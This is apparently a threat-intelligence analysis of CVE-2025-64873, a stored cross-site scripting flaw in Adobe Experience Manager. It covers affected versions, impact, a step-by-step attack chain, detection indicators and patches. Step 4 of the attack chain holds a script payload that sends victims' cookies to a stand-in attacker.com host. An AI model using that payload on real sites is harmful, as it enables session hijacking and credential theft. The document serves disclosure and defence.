CVE-2025-64873: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64873 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's security bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in a victim's browser when they navigate to the page containing the compromised field. Exploitation requires user interaction (a victim browsing the affected page) but does not require elevated privileges beyond a basic authenticated session. Attack patterns associated with this vulnerability include stored XSS (CAPEC-592) and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, resulting in limited confidentiality and integrity impacts (e.g., session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim). Availability is not directly impacted. Because AEM is commonly used as an enterprise content management platform, a compromised admin or editor session could enable further unauthorized content modification or lateral movement within the organization's web infrastructure (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator or editor) to browse the page containing the injected payload, causing their browser to execute the malicious script.
6. Harvest results: Collect exfiltrated session tokens, cookies, or credentials from the attacker-controlled server to perform session hijacking or further unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded XSS payloads in form parameters.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after accessing AEM-authored pages; unusual DNS lookups originating from AEM user sessions.
• File System / Content Repository: AEM JCR (Java Content Repository) nodes containing unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) in stored content properties.
• Process/Application: AEM error logs (error.log) showing XSS filter bypass attempts or unexpected content sanitization warnings related to stored page components.

Adobe has released patches addressing CVE-2025-64873 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restricting content authoring access to trusted users and enabling AEM's built-in XSS protection filters (via the AntiSamy or OWASP Java HTML Sanitizer configurations) can reduce exposure. Additionally, deploying a Web Application Firewall (WAF) with XSS detection rules can help detect and block injection attempts (Adobe Advisory).

CVE-2025-64873 was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of vulnerabilities across AEM. No notable independent researcher commentary or significant social media discussion specific to this CVE has been identified. Tenable added detection support via Nessus plugin 278346 shortly after disclosure (Tenable, Adobe Advisory).